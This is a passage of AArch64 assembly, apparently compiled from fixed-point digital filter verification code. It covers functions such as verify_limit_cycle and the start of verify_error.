add x5, x0, 512
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
add x4, x0, 256
mov w3, 1
mov w0, w7
bl double_matrix_multiplication
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
mov w7, w0
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w1, w0
adrp x0, :got:nInputs
ldr x0, [x0, #:got_lo12:nInputs]
ldr w0, [x0]
mov w2, w0
add x0, sp, 424
mov x6, x0
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
add x5, x0, 768
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
add x4, x0, 384
mov w3, 1
mov w0, w7
bl double_matrix_multiplication
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
mov w5, w0
add x2, sp, 424
add x1, sp, 296
adrp x0, :got:_controller
ldr x0, [x0, #:got_lo12:_controller]
add x4, x0, 640
mov x3, x2
mov x2, x1
mov w1, 1
mov w0, w5
bl double_add_matrix
str wzr, [sp, 36]
b .L957
.L958:
adrp x0, :got:_controller
ldr x1, [x0, #:got_lo12:_controller]
ldrsw x0, [sp, 36]
add x0, x0, 16
lsl x0, x0, 5
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 24]
ldrsw x1, [sp, 36]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 40
str d0, [x1, x0]
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L957:
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
ldr w1, [sp, 36]
cmp w1, w0
blt .L958
str wzr, [sp, 36]
b .L959
.L960:
adrp x0, :got:_controller
ldr x1, [x0, #:got_lo12:_controller]
ldrsw x0, [sp, 36]
add x0, x0, 20
lsl x0, x0, 5
add x0, x1, x0
ldr d0, [x0]
ldrsw x0, [sp, 24]
ldrsw x1, [sp, 36]
lsl x1, x1, 2
add x0, x1, x0
lsl x0, x0, 3
add x1, sp, 40
str d0, [x1, x0]
ldr w0, [sp, 36]
add w0, w0, 1
str w0, [sp, 36]
.L959:
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
ldr w1, [sp, 36]
cmp w1, w0
blt .L960
ldr w0, [sp, 24]
add w0, w0, 1
str w0, [sp, 24]
ldr w0, [sp, 32]
add w0, w0, 1
str w0, [sp, 32]
.L956:
ldr w0, [sp, 32]
cmp w0, 0
blt .L961
adrp x0, .LC43
add x0, x0, :lo12:.LC43
bl printf
adrp x0, :got:nStates
ldr x0, [x0, #:got_lo12:nStates]
ldr w0, [x0]
mov w1, w0
add x0, sp, 40
mov w2, 0
bl print_matrix
adrp x0, .LC44
add x0, x0, :lo12:.LC44
bl printf
adrp x0, :got:nOutputs
ldr x0, [x0, #:got_lo12:nOutputs]
ldr w0, [x0]
mov w1, w0
add x0, sp, 168
mov w2, 0
bl print_matrix
adrp x0, __PRETTY_FUNCTION__.8
add x3, x0, :lo12:__PRETTY_FUNCTION__.8
mov w2, 93
adrp x0, .LC45
add x1, x0, :lo12:.LC45
adrp x0, .LC37
add x0, x0, :lo12:.LC37
bl __assert_fail
.cfi_endproc
.LFE131:
.size verify_limit_cycle_state_space, .-verify_limit_cycle_state_space
.section .rodata
.align 3
.LC46:
.string "X_SIZE must be at least 2 * ds.a_size"
.text
.align 2
.global verify_limit_cycle
.type verify_limit_cycle, %function
verify_limit_cycle:
.LFB132:
.cfi_startproc
sub sp, sp, #816
.cfi_def_cfa_offset 816
stp x29, x30, [sp, 16]
.cfi_offset 29, -800
.cfi_offset 30, -792
add x29, sp, 16
.cfi_def_cfa 29, 800
stp x19, x20, [sp, 32]
stp x21, x22, [sp, 48]
stp x23, x24, [sp, 64]
stp x25, x26, [sp, 80]
str x27, [sp, 96]
.cfi_offset 19, -784
.cfi_offset 20, -776
.cfi_offset 21, -768
.cfi_offset 22, -760
.cfi_offset 23, -752
.cfi_offset 24, -744
.cfi_offset 25, -736
.cfi_offset 26, -728
.cfi_offset 27, -720
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [x29, 792]
mov x1, 0
mov x0, sp
mov x19, x0
adrp x0, overflow_mode
add x1, x0, :lo12:overflow_mode
mov w0, 3
str w0, [x1]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
lsl w0, w0, 1
str w0, [x29, 620]
adrp x0, .LC46
add x0, x0, :lo12:.LC46
bl printf
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w1, [x0]
ldr w0, [x29, 620]
cmp w0, w1
cset w0, le
and w0, w0, 255
bl __DSVERIFIER_assert
adrp x0, ds
add x0, x0, :lo12:ds
ldr w1, [x0, 800]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 632]
sxtw x0, w1
mov x22, x0
mov x23, 0
lsr x0, x22, 58
lsl x21, x23, 6
orr x21, x0, x21
lsl x20, x22, 6
sxtw x0, w1
mov x26, x0
mov x27, 0
lsr x0, x26, 58
lsl x25, x27, 6
orr x25, x0, x25
lsl x24, x26, 6
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L964:
cmp sp, x0
beq .L965
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L964
.L965:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L966
str xzr, [sp, 1024]
.L966:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 640]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w1, [x0, 1608]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 648]
sxtw x0, w1
str x0, [x29, 336]
str xzr, [x29, 344]
ldp x2, x3, [x29, 336]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 600]
ldr x4, [x29, 600]
orr x0, x0, x4
str x0, [x29, 600]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 592]
sxtw x0, w1
str x0, [x29, 320]
str xzr, [x29, 328]
ldp x2, x3, [x29, 320]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 584]
ldr x4, [x29, 584]
orr x0, x0, x4
str x0, [x29, 584]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 576]
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L967:
cmp sp, x0
beq .L968
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L967
.L968:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L969
str xzr, [sp, 1024]
.L969:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 656]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
mov w2, w0
ldr x1, [x29, 640]
adrp x0, ds
add x0, x0, :lo12:ds
bl fxp_double_to_fxp_array
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 1608]
mov w2, w0
ldr x1, [x29, 656]
adrp x0, ds+808
add x0, x0, :lo12:ds+808
bl fxp_double_to_fxp_array
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w1, [x0]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 664]
sxtw x0, w1
str x0, [x29, 304]
str xzr, [x29, 312]
ldp x2, x3, [x29, 304]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 568]
ldr x4, [x29, 568]
orr x0, x0, x4
str x0, [x29, 568]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 560]
sxtw x0, w1
str x0, [x29, 288]
str xzr, [x29, 296]
ldp x2, x3, [x29, 288]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 552]
ldr x4, [x29, 552]
orr x0, x0, x4
str x0, [x29, 552]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 544]
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L970:
cmp sp, x0
beq .L971
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L970
.L971:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L972
str xzr, [sp, 1024]
.L972:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 672]
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w1, [x0]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 680]
sxtw x0, w1
str x0, [x29, 272]
str xzr, [x29, 280]
ldp x2, x3, [x29, 272]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 536]
ldr x4, [x29, 536]
orr x0, x0, x4
str x0, [x29, 536]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 528]
sxtw x0, w1
str x0, [x29, 256]
str xzr, [x29, 264]
ldp x2, x3, [x29, 256]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 520]
ldr x4, [x29, 520]
orr x0, x0, x4
str x0, [x29, 520]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 512]
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L973:
cmp sp, x0
beq .L974
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L973
.L974:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L975
str xzr, [sp, 1024]
.L975:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 688]
adrp x0, impl
add x0, x0, :lo12:impl
ldr d0, [x0, 16]
bl fxp_double_to_fxp
str x0, [x29, 696]
adrp x0, impl
add x0, x0, :lo12:impl
ldr d0, [x0, 8]
bl fxp_double_to_fxp
str x0, [x29, 704]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w1, [x0, 1608]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 712]
sxtw x0, w1
str x0, [x29, 240]
str xzr, [x29, 248]
ldp x2, x3, [x29, 240]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 504]
ldr x4, [x29, 504]
orr x0, x0, x4
str x0, [x29, 504]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 496]
sxtw x0, w1
str x0, [x29, 224]
str xzr, [x29, 232]
ldp x2, x3, [x29, 224]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 488]
ldr x4, [x29, 488]
orr x0, x0, x4
str x0, [x29, 488]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 480]
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L976:
cmp sp, x0
beq .L977
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L976
.L977:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L978
str xzr, [sp, 1024]
.L978:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 720]
bl nondet_int
str w0, [x29, 624]
ldrsw x1, [x29, 624]
ldr x0, [x29, 696]
cmp x0, x1
bgt .L979
ldrsw x1, [x29, 624]
ldr x0, [x29, 704]
cmp x0, x1
blt .L979
mov w0, 1
b .L980
.L979:
mov w0, 0
.L980:
and w0, w0, 1
and w0, w0, 255
bl __DSVERIFIER_assume
str wzr, [x29, 616]
b .L981
.L982:
ldrsw x2, [x29, 624]
ldr x1, [x29, 688]
ldrsw x0, [x29, 616]
str x2, [x1, x0, lsl 3]
ldr x1, [x29, 672]
ldrsw x0, [x29, 616]
str xzr, [x1, x0, lsl 3]
ldr w0, [x29, 616]
add w0, w0, 1
str w0, [x29, 616]
.L981:
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w1, [x0]
ldr w0, [x29, 616]
cmp w0, w1
blt .L982
str wzr, [x29, 616]
b .L983
.L984:
ldrsw x2, [x29, 624]
ldr x1, [x29, 720]
ldrsw x0, [x29, 616]
str x2, [x1, x0, lsl 3]
ldr w0, [x29, 616]
add w0, w0, 1
str w0, [x29, 616]
.L983:
adrp x0, ds
add x0, x0, :lo12:ds
ldr w1, [x0, 1608]
ldr w0, [x29, 616]
cmp w0, w1
blt .L984
str wzr, [x29, 628]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w1, [x0, 1608]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
cmp w1, w0
csel w0, w1, w0, ge
str w0, [x29, 628]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w1, [x0, 800]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 728]
sxtw x0, w1
str x0, [x29, 208]
str xzr, [x29, 216]
ldp x2, x3, [x29, 208]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 472]
ldr x4, [x29, 472]
orr x0, x0, x4
str x0, [x29, 472]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 464]
sxtw x0, w1
str x0, [x29, 192]
str xzr, [x29, 200]
ldp x2, x3, [x29, 192]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 456]
ldr x4, [x29, 456]
orr x0, x0, x4
str x0, [x29, 456]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 448]
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L985:
cmp sp, x1
beq .L986
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L985
.L986:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L987
str xzr, [sp, 1024]
.L987:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 736]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 744]
sxtw x1, w0
str x1, [x29, 176]
str xzr, [x29, 184]
ldp x2, x3, [x29, 176]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 440]
ldr x4, [x29, 440]
orr x1, x1, x4
str x1, [x29, 440]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 432]
sxtw x1, w0
str x1, [x29, 160]
str xzr, [x29, 168]
ldp x2, x3, [x29, 160]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 424]
ldr x4, [x29, 424]
orr x1, x1, x4
str x1, [x29, 424]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 416]
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L988:
cmp sp, x1
beq .L989
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L988
.L989:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L990
str xzr, [sp, 1024]
.L990:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 752]
ldr w0, [x29, 628]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 760]
sxtw x1, w0
str x1, [x29, 144]
str xzr, [x29, 152]
ldp x2, x3, [x29, 144]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 408]
ldr x4, [x29, 408]
orr x1, x1, x4
str x1, [x29, 408]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 400]
sxtw x1, w0
str x1, [x29, 128]
str xzr, [x29, 136]
ldp x2, x3, [x29, 128]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 392]
ldr x4, [x29, 392]
orr x1, x1, x4
str x1, [x29, 392]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 384]
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L991:
cmp sp, x1
beq .L992
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L991
.L992:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L993
str xzr, [sp, 1024]
.L993:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 768]
ldr w0, [x29, 628]
sxtw x1, w0
sub x1, x1, #1
str x1, [x29, 776]
sxtw x1, w0
str x1, [x29, 112]
str xzr, [x29, 120]
ldp x2, x3, [x29, 112]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 376]
ldr x4, [x29, 376]
orr x1, x1, x4
str x1, [x29, 376]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 368]
sxtw x1, w0
str x1, [x29, 96]
str xzr, [x29, 104]
ldp x2, x3, [x29, 96]
mov x1, x2
lsr x1, x1, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 360]
ldr x4, [x29, 360]
orr x1, x1, x4
str x1, [x29, 360]
mov x1, x2
lsl x1, x1, 6
str x1, [x29, 352]
sxtw x0, w0
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x0, x0, 4
and x1, x0, -65536
sub x1, sp, x1
.L994:
cmp sp, x1
beq .L995
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L994
.L995:
and x1, x0, 65535
sub sp, sp, x1
str xzr, [sp]
and x0, x0, 65535
cmp x0, 1024
bcc .L996
str xzr, [sp, 1024]
.L996:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 784]
str wzr, [x29, 616]
b .L997
.L1000:
bl nondet_int
sxtw x2, w0
ldr x0, [x29, 736]
ldrsw x1, [x29, 616]
str x2, [x0, x1, lsl 3]
ldr x0, [x29, 736]
ldrsw x1, [x29, 616]
ldr x0, [x0, x1, lsl 3]
ldr x1, [x29, 696]
cmp x1, x0
bgt .L998
ldr x0, [x29, 736]
ldrsw x1, [x29, 616]
ldr x0, [x0, x1, lsl 3]
ldr x1, [x29, 704]
cmp x1, x0
blt .L998
mov w0, 1
b .L999
.L998:
mov w0, 0
.L999:
and w0, w0, 1
and w0, w0, 255
bl __DSVERIFIER_assume
ldr x0, [x29, 736]
ldrsw x1, [x29, 616]
ldr x2, [x0, x1, lsl 3]
ldr x0, [x29, 752]
ldrsw x1, [x29, 616]
str x2, [x0, x1, lsl 3]
ldr w0, [x29, 616]
add w0, w0, 1
str w0, [x29, 616]
.L997:
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
ldr w1, [x29, 616]
cmp w1, w0
blt .L1000
str wzr, [x29, 616]
b .L1001
.L1002:
ldr x0, [x29, 688]
ldrsw x1, [x29, 616]
ldr x3, [x0, x1, lsl 3]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 1608]
mov w2, w0
ldr x1, [x29, 720]
mov x0, x3
bl shiftL
adrp x0, ds
add x0, x0, :lo12:ds
ldr w1, [x0, 800]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 1608]
mov w5, w0
mov w4, w1
ldr x3, [x29, 656]
ldr x2, [x29, 640]
ldr x1, [x29, 720]
ldr x0, [x29, 736]
bl fxp_direct_form_1
mov x2, x0
ldr x0, [x29, 672]
ldrsw x1, [x29, 616]
str x2, [x0, x1, lsl 3]
ldr x0, [x29, 672]
ldrsw x1, [x29, 616]
ldr x3, [x0, x1, lsl 3]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
mov w2, w0
ldr x1, [x29, 736]
mov x0, x3
bl shiftL
ldr w0, [x29, 616]
add w0, w0, 1
str w0, [x29, 616]
.L1001:
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w0, [x0]
ldr w1, [x29, 616]
cmp w1, w0
blt .L1002
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w0, [x0]
mov w1, w0
ldr x0, [x29, 672]
bl fxp_check_persistent_limit_cycle
mov w0, 0
mov sp, x19
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [x29, 792]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L1004
bl __stack_chk_fail
.L1004:
mov w0, w1
sub sp, x29, #16
.cfi_def_cfa 31, 816
ldp x19, x20, [sp, 32]
ldp x21, x22, [sp, 48]
ldp x23, x24, [sp, 64]
ldp x25, x26, [sp, 80]
ldr x27, [sp, 96]
ldp x29, x30, [sp, 16]
add sp, sp, 816
.cfi_restore 29
.cfi_restore 30
.cfi_restore 27
.cfi_restore 25
.cfi_restore 26
.cfi_restore 23
.cfi_restore 24
.cfi_restore 21
.cfi_restore 22
.cfi_restore 19
.cfi_restore 20
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE132:
.size verify_limit_cycle, .-verify_limit_cycle
.align 2
.global verify_error
.type verify_error, %function
verify_error:
.LFB133:
.cfi_startproc
sub sp, sp, #1728
.cfi_def_cfa_offset 1728
stp x29, x30, [sp, 16]
.cfi_offset 29, -1712
.cfi_offset 30, -1704
add x29, sp, 16
.cfi_def_cfa 29, 1712
stp x19, x20, [sp, 32]
stp x21, x22, [sp, 48]
stp x23, x24, [sp, 64]
stp x25, x26, [sp, 80]
str x27, [sp, 96]
str d8, [sp, 104]
.cfi_offset 19, -1696
.cfi_offset 20, -1688
.cfi_offset 21, -1680
.cfi_offset 22, -1672
.cfi_offset 23, -1664
.cfi_offset 24, -1656
.cfi_offset 25, -1648
.cfi_offset 26, -1640
.cfi_offset 27, -1632
.cfi_offset 72, -1624
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [x29, 1704]
mov x1, 0
mov x0, sp
mov x19, x0
adrp x0, overflow_mode
add x1, x0, :lo12:overflow_mode
mov w0, 2
str w0, [x1]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w1, [x0, 800]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 688]
sxtw x0, w1
mov x4, x0
mov x5, 0
lsr x0, x4, 58
lsl x3, x5, 6
orr x3, x0, x3
lsl x2, x4, 6
sxtw x0, w1
mov x8, x0
mov x9, 0
lsr x0, x8, 58
lsl x7, x9, 6
orr x7, x0, x7
lsl x6, x8, 6
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1006:
cmp sp, x0
beq .L1007
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1006
.L1007:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1008
str xzr, [sp, 1024]
.L1008:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 696]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w1, [x0, 1608]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 704]
sxtw x0, w1
mov x14, x0
mov x15, 0
lsr x0, x14, 58
lsl x11, x15, 6
orr x11, x0, x11
lsl x10, x14, 6
sxtw x0, w1
mov x16, x0
mov x17, 0
lsr x0, x16, 58
lsl x13, x17, 6
orr x13, x0, x13
lsl x12, x16, 6
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1009:
cmp sp, x0
beq .L1010
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1009
.L1010:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1011
str xzr, [sp, 1024]
.L1011:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 712]
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 800]
mov w2, w0
ldr x1, [x29, 696]
adrp x0, ds
add x0, x0, :lo12:ds
bl fxp_double_to_fxp_array
adrp x0, ds
add x0, x0, :lo12:ds
ldr w0, [x0, 1608]
mov w2, w0
ldr x1, [x29, 712]
adrp x0, ds+808
add x0, x0, :lo12:ds+808
bl fxp_double_to_fxp_array
adrp x0, impl
add x0, x0, :lo12:impl
ldr d0, [x0, 16]
bl fxp_double_to_fxp
str x0, [x29, 720]
adrp x0, impl
add x0, x0, :lo12:impl
ldr d0, [x0, 8]
bl fxp_double_to_fxp
str x0, [x29, 728]
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w1, [x0]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 736]
sxtw x0, w1
mov x24, x0
mov x25, 0
lsr x0, x24, 58
lsl x21, x25, 6
orr x21, x0, x21
lsl x20, x24, 6
sxtw x0, w1
mov x26, x0
mov x27, 0
lsr x0, x26, 58
lsl x23, x27, 6
orr x23, x0, x23
lsl x22, x26, 6
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1012:
cmp sp, x0
beq .L1013
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1012
.L1013:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1014
str xzr, [sp, 1024]
.L1014:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 744]
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w1, [x0]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 752]
sxtw x0, w1
str x0, [x29, 368]
str xzr, [x29, 376]
ldp x2, x3, [x29, 368]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 664]
ldr x4, [x29, 664]
orr x0, x0, x4
str x0, [x29, 664]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 656]
sxtw x0, w1
str x0, [x29, 352]
str xzr, [x29, 360]
ldp x2, x3, [x29, 352]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 648]
ldr x4, [x29, 648]
orr x0, x0, x4
str x0, [x29, 648]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 640]
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1015:
cmp sp, x0
beq .L1016
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1015
.L1016:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1017
str xzr, [sp, 1024]
.L1017:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 760]
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
ldr w1, [x0]
sxtw x0, w1
sub x0, x0, #1
str x0, [x29, 768]
sxtw x0, w1
str x0, [x29, 336]
str xzr, [x29, 344]
ldp x2, x3, [x29, 336]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 632]
ldr x4, [x29, 632]
orr x0, x0, x4
str x0, [x29, 632]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 624]
sxtw x0, w1
str x0, [x29, 320]
str xzr, [x29, 328]
ldp x2, x3, [x29, 320]
mov x0, x2
lsr x0, x0, 58
mov x4, x3
lsl x4, x4, 6
str x4, [x29, 616]
ldr x4, [x29, 616]
orr x0, x0, x4
str x0, [x29, 616]
mov x0, x2
lsl x0, x0, 6
str x0, [x29, 608]
sxtw x0, w1
lsl x0, x0, 3
add x0, x0, 15
lsr x0, x0, 4
lsl x1, x0, 4
and x0, x1, -65536
sub x0, sp, x0
.L1018:
cmp sp, x0
beq .L1019
sub sp, sp, #65536
str xzr, [sp, 1024]
b .L1018
.L1019:
and x0, x1, 65535
sub sp, sp, x0
str xzr, [sp]
and x0, x1, 65535
cmp x0, 1024
bcc .L1020
str xzr, [sp, 1024]
.L1020:
add x0, sp, 16
add x0, x0, 7
lsr x0, x0, 3
lsl x0, x0, 3
str x0, [x29, 776]
adrp x0, X_SIZE_VALUE
add x0, x0, :lo12:X_SIZE_VALUE
